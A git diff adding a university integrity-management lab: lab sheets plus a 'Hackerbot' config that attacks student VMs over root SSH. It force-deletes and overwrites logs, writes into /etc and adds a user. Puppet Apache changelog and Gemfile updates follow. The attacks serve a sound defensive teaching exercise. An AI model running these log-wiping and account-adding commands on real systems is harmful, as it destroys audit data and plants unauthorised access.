+local email to root. As root, type “mail” to read the local emails. Run +“crontab -e” to add scheduled tasks. Google will certainly help here. + +Help: You may find the following links if you have not used cron before +to run scheduled tasks. + +[*Click here for an openSUSE +Video*](https://www.youtube.com/watch?v=bQfza9aLjss) + +[*Click here for a cron +tutorial*](http://www.computerhope.com/unix/ucrontab.htm) + +[*Click here for cron +examples*](http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/comment-page-1/) + +**Take screenshots of an hourly cronjob rule, and email with an +integrity report from md5sum/deep or hashdeep, as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A2”.** + +Add to your above solution, by considering and implementing some +protection against modifications to your hash file/database. + +**Take a screenshot of your configuration for protection of the hash +file (and include a one sentence description), as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A3”.** + +Install either OSSEC (Open Source Host-based Intrusion Detection +System), AIDE (Advanced Intrusion Detection Environment), or Tripwire +(if you can find a copy), and use it to monitor the integrity of your +files. Modify a file named *your-name* (your actual name) and view a +report or alert that the integrity of the file has been compromised. + +**Take a screenshot of a report from OSSEC or AIDE that a file named +after you has been altered, as evidence that you have completed this +part of the task.** + +**Label it or save it as “Integrity-A4”.** + +Add to the integrity monitoring script given earlier, to store and +retrieve the hashes from a file. + +For extra marks, protect the hashes using a HMAC, with user interaction +to enter a password. + +**Save your modifications of the script, as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A5”.** + +### Resources + +An excellent resource on the subject of integrity management is Chapter +20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, +by Garfinkel et al (2003). + +[^1]: Setting a file to immutable (and therefore impossible to simply + delete) can be an effective prank against the uninitiated in Unix + ways. + +[^2]: It is obvious that there are risks associated with knowing each + other’s root passwords! Obviously, use this knowledge responsibly to + work together to complete the tasks. + +## License + +![](media/media/image4.png) + +This work by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons +Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb new file mode 100644 index 000000000..9db3955fe --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb @@ -0,0 +1,223 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0 + $files = $first_account['leaked_filenames'] + $log_files = $first_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$main_user}/#{$files.sample}" + $example_dir = "/home/#{$main_user}/personal_secrets/" + + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 5 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + Your system is about to be hacked. I'll do what I can hold them off, but you are going to have to work with me to protect yourself. I'll cough up some flags if you work with me. + + + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along. + When you are ready, simply say 'ready'. + 'Ready'? + Better hurry, the attack is imminent... Let me know when you're 'ready'. + Ok, I'll do what I can to move things along... + Moving things along to the next attack... + Ok, next attack... + Ok, I'll do what I can to back things up... + Ok, previous attack... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last attack for now. You can rest easy, until next time... (End.) + That was the last attack. Game over? + You are back to the beginning! + This is where it all began. + Ok. Gaining shell access, and running post command... + Hacking in progress... + Attack underway... + Here we go... + We are in to your system. + You are pwned. + We have shell. + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + Integrity Management: Protecting Against and Detecting Change + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
<%= File.read self.templates_path + 'integrity_limitations.md.erb' %> + +<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $file = SecureRandom.hex(2) -%> + An attempt to write /tmp/<%= $file %> is coming from user <%= $second_user %>. Stop the attack by creating the file without permission for other users to write to the file. + + sudo -u <%= $second_user %> bash -c 'echo boom > /tmp/<%= $file %>'; echo $? + + Permission denied + :) Well done! <%= $flags.pop %> + true + + + 0 + :( We managed to write to your file! You need to use access controls to protect the file. Create a new file. + + + :( Something was not right... + + + <%= ERB.new(File.read self.templates_path + 'file_permissions.md.erb').result(self.get_binding) %> + + + +<% $log_file = $log_files.sample -%> + + An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes. + + rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $? + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + Permission denied + :( You did protect the file, but not using file attributes. + + + 0 + :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file. + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + <%= ERB.new(File.read self.templates_path + 'file_attributes.md.erb').result(self.get_binding) %> + + + +<% $log_file = $log_files.sample -%> + + An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only. + + echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'appended!' >> /home/<%= $main_user %>/<%= $log_file %>; tail -n2 /home/<%= $main_user %>/<%= $log_file %>; echo $? + + appended! + :( You stopped anything from being appended to the file. What kind of log file do you think this is? + + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + + + + An attempt to edit a file in /etc/ is coming. Stop the attack by bind mounting /etc/ as read-only. + + echo 'not read only!' > /etc/you_were_hacked; adduser --disabled-password --gecos "" yourehacked + + Read-only file system + :) Well done! <%= $flags.pop %> + + + + Permission denied|Operation not permitted + :( You stopped the attack, but not by using read only bind mounting... + + + :( Something was not right... + + + <%= ERB.new(File.read self.templates_path + 'ro_mounting.md.erb').result(self.get_binding) %> + + + + + Finally, try to prevent me from obtaining shell access to your system + :) Failed to get shell... <%= $flags.pop %> + + +
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb new file mode 100644 index 000000000..d6ab21c0e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb @@ -0,0 +1,3 @@ +#### Limitations of integrity checking + +Perhaps the greatest limitation to all of these approaches, is that if a system is compromised, you may not be able to trust any of the tools on the system, or even the operating system itself to behave as expected. In the case of a security compromise, your configuration files may have been altered, including any hashes you have stored locally, and tools may have been replaced by Trojan horses. For this reason it is safer to run tools over the network or from a removable drive, with read-only access to protect your backups and hashes. Even then, the OS/kernel/shell may not be telling you the truth about what is happening, since a rootkit could be concealing the truth from other programs. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb new file mode 100644 index 000000000..9fd03d528 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb @@ -0,0 +1,50 @@ +# Integrity Management: Protecting Against Change + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): +- hackerbot_server (leave it running, you don't log into this) +- desktop + +### Your login details for the "desktop" VM +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server, but the VM needs to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Meet Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will attack your system. If you satisfy Hackerbot by completing the challenges she will reveal flags to you. + +**On the desktop VM:** + +==Open Pidgin and send some messages to Hackerbot:== + +- Try asking Hackerbot some questions +- Send "help" +- Send "list" +- Send "hello" + +Hackerbot will start you on your journey! Work through the below exercises, completing the Hackerbot challenges as noted. + +--- + +## Integrity + +Security is often described in terms of confidentiality, integrity, and availability. Protecting the integrity of information involves preventing and detecting unauthorised changes. In many commercial organisations integrity of information is the highest priority security goal. Managing who is authorised to make changes to databases or files, and monitoring the integrity of resources for unauthorised changes is an important task in managing information security. + +## Protecting integrity + +Protecting the integrity of resources, such as the files on a system, involves successfully managing a variety of security mechanisms, such as authentication, access controls and file permissions, firewalls, and so on. + +> On Linux systems this can include managing passwords, packet filtering IPTables rules, standard Unix file permissions (rwx), Linux extended attributes (including ACLs for detailed authentication, labels for mandatory access control (MAC), and Linux Capabilities). Linux (like other Unix-like and Unix-based systems) has a long history of adding new security features as and when they are required. +> +> Note that many security controls such as those listed above are very important for protecting the integrity of files, but are beyond the scope of this lab. Here the focus is on techniques that are focussed on integrity rather than confidentiality or availability. + +There are precautions that can be taken to reduce the chances of unauthorised changes. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb new file mode 100644 index 000000000..99ae9bed0 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb @@ -0,0 +1,114 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb new file mode 100644 index 000000000..374803e00 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb @@ -0,0 +1,5 @@ +## Resources + +An excellent resource on the subject of integrity management is Chapter 20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, by Garfinkel et al (2003). + +Bind mounting: [http://lwn.net/Articles/281157/](http://lwn.net/Articles/281157/) \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb new file mode 100644 index 000000000..b35801e69 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb @@ -0,0 +1,80 @@ +### Protecting integrity with read-only filesystems +#### Getting to know read-only mounting +On Unix, a filesystem is mounted to a particular point in the directory structure; for example, a USB thumb drive may be mounted to /media/myUSB/. Some filesystems will automatically mount read-only; for example, if you insert a CD-ROM, since those disks are physically read-only. It is possible to optionally mount almost any filesystem, such as a USB or even a directory, in read-only mode, which will make it practically impossible to write changes to it (without remounting or accessing the drive/directory in other ways, which normally only root can do). + +In new versions of Linux, it is possible to have a directory (one part of what is on a disk) present in the directory structure twice with different mount options (for example, /home/<%= $main_user %> and /home/<%= $main_user %>-read-only). This can be achieved by bind mounting, and then remounting to set the bind mount to read only. + +In a command prompt, ==run:== + +```bash +mount +``` +> Note that many of the devices and directories have been mounted for read and write access (**rw**). For security reasons, it can be safer to mount things as read-only, when we don't need to be able to make changes to the contents. + +Ordinary users can only read the /etc/ directory but the superuser root who owns the /etc/ directory can read and write to it. In the following example, you are going to mount the /etc/ directory to a mount point (another directory within the filesystem) and the contents of the /etc/ directory will be accessible via the mount point. + +List the contents of the /etc/ directory so you are familiar with its contents: + +```bash +ls /etc/ +``` +Create a new directory to be the mount point. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/etc +``` +==Mount the /etc/ directory to the new mount point:== + +```bash +sudo mount -o bind /etc/ /home/<%= $main_user %>/etc/ +``` +Make sure the /etc/ directory is accessible via the home-etc directory mount point: + +```bash +ls /home/<%= $main_user %>/etc/ +``` +Ordinary users can only read but the superuser root can still write to the directory. Test this by creating a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory: + +```bash +sudo touch /home/<%= $main_user %>/etc/newfile1 +``` +Check that a new file has been created using the following commands: + +```bash +ls -l /home/<%= $main_user %>/etc/newfile1 +``` + +```bash +ls -l /etc/newfile1 +``` + +We can use read only mounting to make filesystems and directories available read-only. Next you will ==remount /etc/ in read-only mode== so that even the superuser root who owns the /etc/ directory cannot make changes to its contents via the mount point. + +```bash +sudo mount -o remount,ro,bind /etc/ /home/<%= $main_user %>/etc/ +``` +==Test this== by trying to create a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory: + +```bash +sudo touch /home/<%= $main_user %>/etc/newfile2 +``` + +This should prevent changes being accidentally being made to important configuration files in the /etc/ directory. + + +We can ==remount a directory as read-only to itself==: + +```bash +sudo mount -o bind <%= $example_dir %> <%= $example_dir %> +sudo mount -o remount,ro,bind <%= $example_dir %> <%= $example_dir %> +``` + +Now even the owner of the directory (you), can't make changes. ==Try:== + +```bash +cat > <%= $example_dir %>new_file +``` + +Mounting read-only can be an effective way of protecting resources that you don't need to make any changes to. Read-only mounting is particularly effective when an actual disk resides externally, and *can be enforced remotely*. For example, when sharing files over the network. + +> Note that mounting read-only may be circumvented by root (or a user with enough privilege) via direct access to the device files (/dev/sdc1 in the example above), or by re-mounting as read-write (when the mounting ro is not enforced via remote network share). diff --git a/modules/services/unix/http/apache/CHANGELOG.md b/modules/services/unix/http/apache/CHANGELOG.md index e921ccc21..7c8fa2b83 100644 --- a/modules/services/unix/http/apache/CHANGELOG.md +++ b/modules/services/unix/http/apache/CHANGELOG.md @@ -1,5 +1,54 @@ -## Supported Release 1.11.0 -#### Summary +# Change log + +All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) +and this project adheres to [Semantic Versioning](http://semver.org). + +## Supported Release [2.0.0] +### Summary +Major release **removing Puppet 3 support** and other backwards-incompatible changes. + +#### Added +- support for FileETag directive configurable with the `file_e_tag` parameter +- ability to configure multiple ports per vhost +- RequestHeader directive to vhost template ([MODULES-4156](https://tickets.puppet.com/browse/MODULES-4156)) +- customizability for AllowOverride directive in userdir.conf ([MODULES-4516](https://tickets.puppet.com/browse/MODULES-4516)) +- AdvertiseFrequency directive for cluster.conf ([MODULES-4500](https://tickets.puppet.com/browse/MODULES-4500)) +- `ssl_proxy_protocol` and `ssl_sessioncache` parameters for mod::ssl ([MODULES-4737](https://tickets.puppet.com/browse/MODULES-4737)) +- SSLCACertificateFile directive in ssl.conf configurable with `ssl_ca` parameter +- mod::authnz_pam +- mod::intercept_form_submit +- mod::lookup_identity +- Suse compatibility for mod::proxy_html +- support for AddCharset directive configurable with `add_charset` parameter +- support for SSLProxyVerifyDepth and SSLProxyCACertificateFile directives configurable with `ssl_proxy_verify_depth` and `ssl_proxy_ca_cert` respectively +- `manage_security_crs` parameter for mod::security +- support for LimitExcept directive configurable with `limit_except` parameter +- support for WSGIRestrictEmbedded directive configurable with `wsgi_restrict_embedded` parameter +- support for custom UserDir path ([MODULES-4933](https://tickets.puppet.com/browse/MODULES-4933)) +- support for PassengerMaxRequests directive configurable with `passenger_max_requests` +- option to override module package names with `mod_packages` parameter ([MODULES-3838](https://tickets.puppet.com/browse/MODULES-3838)) + +#### Removed +- enclose_ipv6 as it was added to puppetlabs-stdlib +- deprecated `$verifyServerCert` parameter from the `apache::mod::authnz_ldap` class ([MODULES-4445](https://tickets.puppet.com/browse/MODULES-4445)) + +#### Changed +- `keepalive` default to 'On' from 'Off' +- Puppet version compatibility to ">= 4.7.0 < 6.0.0" +- puppetlabs-stdlib dependency to ">= 4.12.0 < 5.0.0" +- `ssl_cipher` to explicitly disable 3DES because of Sweet32 + +#### Fixed +- various issues in the vhost template +- use of deprecated `include_src` parameter in vhost_spec +- management of ssl.conf on RedHat systems +- various SLES/Suse params +- mod::cgi ordering for FreeBSD +- issue where ProxyPreserveHost could not be set without other Proxy* directives +- the module attempting to install proxy_html on Ubuntu Xenial and Debian Stretch + +## Supported Release [1.11.0] +### Summary This release adds SLES12 Support and many more features and bugfixes. #### Features @@ -68,7 +117,7 @@ This release adds SLES12 Support and many more features and bugfixes. - (MODULES-3744) Process $crs_package before $modsec_dir - (MODULES-1491) Adds `::apache` include to mods that need it -## Supported Release 1.10.0 +## Supported Release [1.10.0] #### Summary This release fixes backwards compatibility bugs introduced in 1.9.0. Also includes a new mod class and a new vhost feature. @@ -89,7 +138,7 @@ This release fixes backwards compatibility bugs introduced in 1.9.0. Also includ - Revert "changed rpaf Configuration Directives: RPAF -> RPAF_". Bug introduced in release 1.9.0. - Set actual path to apachectl on FreeBSD. Fixes snippets verification. -## Supported Release 1.9.0 [DELETED] +## Supported Release [1.9.0] [DELETED] #### Features - Added `apache_version` fact - Added `apache::balancer::target` attribute @@ -169,7 +218,7 @@ This release fixes backwards compatibility bugs introduced in 1.9.0. Also includ - Fixed xml2enc for proxy\_html on debian - Fixed a problem where the apache service restarts too fast -## Supported Release 1.8.1 +## Supported Release [1.8.1] ### Summary This release includes bug fixes and a documentation update. @@ -178,7 +227,7 @@ This release includes bug fixes and a documentation update. - Fixes a bug where passenger.conf was vulnerable to purging. - Removes the pin of the concat module dependency. -## 2016-01-26 - Supported Release 1.8.0 +## Supported Release [1.8.0] ### Summary This release includes a lot of bug fixes and feature updates, including support for Debian 8, as well as many test improvements. @@ -219,12 +268,12 @@ This release includes a lot of bug fixes and feature updates, including support - Added X-Forwarded-For into log_formats defaults. - (MODULES-2703) Allow mod pagespeed to take an array of lines as additional_configuration. -## Supported Release 1.7.1 +## Supported Release [1.7.1] ###Summary Small release for support of newer PE versions. This increments the version of PE in the metadata.json file. -## 2015-11-17 - Supported Release 1.7.0 +## Supported Release [1.7.0] ### Summary This release includes many new features and bugfixes. There are test, documentation and misc improvements. @@ -272,7 +321,7 @@ This release includes many new features and bugfixes. There are test, documentat - allow multiple IP addresses per vhost - default document root update for Ubuntu 14.04 and Debian 8 -## 2015-07-28 - Supported Release 1.6.0 +## Supported Release [1.6.0] ### Summary This release includes a couple of new features, along with test and documentation updates, and support for the latest AIO puppet builds. @@ -286,7 +335,7 @@ This release includes a couple of new features, along with test and documentatio - Do not use systemd on Amazon Linux - Add missing docs for `timeout` parameter (MODULES-2148) -## 2015-06-11 - Supported Release 1.5.0 +## Supported Release [1.5.0] ### Summary This release primarily adds Suse compatibility. It also adds a handful of other parameters for greater configuration control. @@ -318,11 +367,11 @@ parameters for greater configuration control. - Fix userdir access permissions - Fix issue where the module was trying to use systemd on Amazon Linux. -## 2015-04-28 - Supported Release 1.4.1 +## Supported Release [1.4.1] This release corrects a metadata issue that has been present since release 1.2.0. The refactoring of `apache::vhost` to use `puppetlabs-concat` requires a version of concat newer than the version required in PE. If you are using PE 3.3.0 or earlier you will need to use version 1.1.1 or earlier of the `puppetlabs-apache` module. -## 2015-03-17 - Supported Release 1.4.0 +## Supported Release [1.4.0] ###Summary This release fixes the issue where the docroot was still managed even if the default vhosts were disabled and has many other features and bugfixes including improved support for 'deny' and 'require' as arrays in the 'directories' parameter under `apache::vhost` @@ -365,7 +414,7 @@ This release fixes the issue where the docroot was still managed even if the def - Change the loadfile name for `mod_passenger` so `mod_proxy` will load by default before `mod_passenger` - Remove old Debian work-around that removed `passenger_extra.conf` -## 2015-02-17 - Supported Release 1.3.0 +## Supported Release [1.3.0] ### Summary This release has many new features and bugfixes, including the ability to optionally not trigger service restarts on config changes. @@ -424,7 +473,7 @@ This release has many new features and bugfixes, including the ability to option - Fix indentation in `vhost/_directories.erb` template (MODULES-1688) - Create symlinks on all distros if `vhost_enable_dir` is specified -## 2014-09-30 - Supported Release 1.2.0 +## Supported Release [1.2.0] ### Summary This release features many improvements and bugfixes, including several new defines, a reworking of apache::vhost for more extensibility, and many new parameters for more customization. This release also includes improved support for strict variables and the future parser. @@ -527,13 +576,13 @@ This release features many improvements and bugfixes, including several new defi * By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`. * SLES is unsupported. -## 2014-07-15 - Supported Release 1.1.1 +## Supported Release [1.1.1] ### Summary This release merely updates metadata.json so the module can be uninstalled and upgraded via the puppet module command. -## 2014-04-14 Supported Release 1.1.0 +## Supported Release [1.1.0] ### Summary @@ -568,7 +617,7 @@ through adding RHEL7 and Ubuntu 14.04 support. It also includes Passenger * By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`. * SLES is unsupported. -## 2014-03-04 Supported Release 1.0.1 +## Supported Release [1.0.1] ### Summary This is a supported release. This release removes a testing symlink that can @@ -581,7 +630,7 @@ modulepath. * By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`. * SLES is unsupported. -## 2014-03-04 Supported Release 1.0.0 +## Supported Release [1.0.0] ### Summary This is a supported release. This release introduces Apache 2.4 support for @@ -605,7 +654,7 @@ Debian and RHEL based osfamilies. --- -## 2014-01-31 Release 0.11.0 +## Supported Release [0.11.0] ### Summary: This release adds preliminary support for Windows compatibility and multiple rewrite support. @@ -642,7 +691,7 @@ This release adds preliminary support for Windows compatibility and multiple rew - Fix $ports_file reference in Namevirtualhost. -## 2013-12-05 Release 0.10.0 +## Supported Release [0.10.0] ### Summary: This release adds FreeBSD osfamily support and various other improvements to some mods. @@ -681,7 +730,7 @@ This release adds FreeBSD osfamily support and various other improvements to som - only apply Directory defaults when provider is a directory - Working mod_authnz_ldap support on Debian/Ubuntu -## 2013-09-06 Release 0.9.0 +## Supported Release [0.9.0] ### Summary: This release adds more parameters to the base apache class and apache defined resource to make the module more flexible. It also adds or enhances SuPHP, @@ -739,13 +788,13 @@ Class['apache::service']` - Made `aliases` able to take a single alias hash instead of requiring an array. -## 2013-07-26 Release 0.8.1 +## Supported Release [0.8.1] #### Bugfixes: - Update `apache::mpm_module` detection for worker/prefork - Update `apache::mod::cgi` and `apache::mod::cgid` detection for worker/prefork -## 2013-07-16 Release 0.8.0 +## Supported Release [0.8.0] #### Features: - Add `servername` parameter to `apache` class - Add `proxy_set` parameter to `apache::balancer` define @@ -757,7 +806,7 @@ worker/prefork - Fix `apache::mod::*` to notify the service on config change - Documentation updates -## 2013-07-09 Release 0.7.0 +## Supported Release [0.7.0] #### Changes: - Essentially rewrite the module -- too many to list - `apache::vhost` has many abilities -- see README.md for details @@ -767,12 +816,12 @@ worker/prefork #### Bugfixes: - Many. And many more to come -## 2013-03-2 Release 0.6.0 +## Supported Release [0.6.0] - update travis tests (add more supported versions) - add access log_parameter - make purging of vhost dir configurable -## 2012-08-24 Release 0.4.0 +## Supported Release [0.4.0] #### Changes: - `include apache` is now required when using `apache::mod::*` @@ -781,7 +830,7 @@ worker/prefork - Fix formatting in vhost template - Fix spec tests such that they pass -## 2012-05-08 Puppet Labs - 0.0.4 +## Supported Release [0.0.4] * e62e362 Fix broken tests for ssl, vhost, vhost::* * 42c6363 Changes to match style guide and pass puppet-lint without error * 42bc8ba changed name => path for file resources in order to name namevar by it's name @@ -814,3 +863,32 @@ worker/prefork * 6a5b11a Ensure installed * f672e46 a2mod fix * 8a56ee9 add pthon support to apache + +[2.0.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.11.0...2.0.0 +[1.11.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.10.0...1.11.0 +[1.10.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.9.0...1.10.0 +[1.9.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.1...1.9.0 +[1.8.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.0...1.8.1 +[1.8.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.7.1...1.8.0 +[1.7.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.7.0...1.7.1 +[1.7.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.6.0...1.7.0 +[1.6.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.5.0...1.6.0 +[1.5.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.4.1...1.5.0 +[1.4.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.4.0...1.4.1 +[1.4.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.3.0...1.4.0 +[1.3.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.2.0...1.3.0 +[1.2.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.1.1...1.2.0 +[1.1.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.1.0...1.1.1 +[1.1.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.0.1...1.1.0 +[1.0.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.0.0...1.0.1 +[1.0.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.11.0...1.0.0 +[0.11.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.10.0...0.11.0 +[0.10.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.9.0...0.10.0 +[0.9.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/1.8.1...0.9.0 +[0.8.1]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.8.0...0.8.1 +[0.8.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.7.0...0.8.0 +[0.7.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.6.0...0.7.0 +[0.6.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.5.0-rc1...0.6.0 +[0.5.0-rc1]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.4.0...0.5.0-rc1 +[0.4.0]:https://github.com/puppetlabs/puppetlabs-apache/compare/0.3.0...0.4.0 +[0.0.4]:https://github.com/puppetlabs/puppetlabs-apache/commits/0.0.4 diff --git a/modules/services/unix/http/apache/CONTRIBUTING.md b/modules/services/unix/http/apache/CONTRIBUTING.md index 3c3f1e799..990edba7e 100644 --- a/modules/services/unix/http/apache/CONTRIBUTING.md +++ b/modules/services/unix/http/apache/CONTRIBUTING.md @@ -43,7 +43,7 @@ Checklist (and a short version for the impatient) - Make sure you have a [GitHub account](https://github.com/join) - - [Create a ticket](https://tickets.puppetlabs.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppetlabs.com/browse/) you are patching for. + - [Create a ticket](https://tickets.puppet.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppet.com/browse/) you are patching for. * Preferred method: @@ -215,4 +215,3 @@ Additional Resources * [General GitHub documentation](http://help.github.com/) * [GitHub pull request documentation](http://help.github.com/send-pull-requests/) - diff --git a/modules/services/unix/http/apache/Gemfile b/modules/services/unix/http/apache/Gemfile index 3d46720d2..46cb2eace 100644 --- a/modules/services/unix/http/apache/Gemfile +++ b/modules/services/unix/http/apache/Gemfile @@ -29,39 +29,27 @@ end # Used for gem conditionals supports_windows = false +ruby_version_segments = Gem::Version.new(RUBY_VERSION.dup).segments +minor_version = "#{ruby_version_segments[0]}.#{ruby_version_segments[1]}" group :development do - gem 'puppet-lint', :require => false - gem 'metadata-json-lint', :require => false, :platforms => 'ruby' - gem 'puppet_facts', :require => false - gem 'puppet-blacksmith', '>= 3.4.0', :require => false, :platforms => 'ruby' - gem 'puppetlabs_spec_helper', '>= 1.2.1', :require => false - gem 'rspec-puppet', '>= 2.3.2', :require => false - gem 'rspec-puppet-facts', :require => false, :platforms => 'ruby' - gem 'mocha', '< 1.2.0', :require => false - gem 'simplecov', :require => false, :platforms => 'ruby' - gem 'parallel_tests', '< 2.10.0', :require => false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0') - gem 'parallel_tests', :require => false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.0.0') - gem 'rubocop', '0.41.2', :require => false if Gem::Version.new(RUBY_VERSION.dup) < 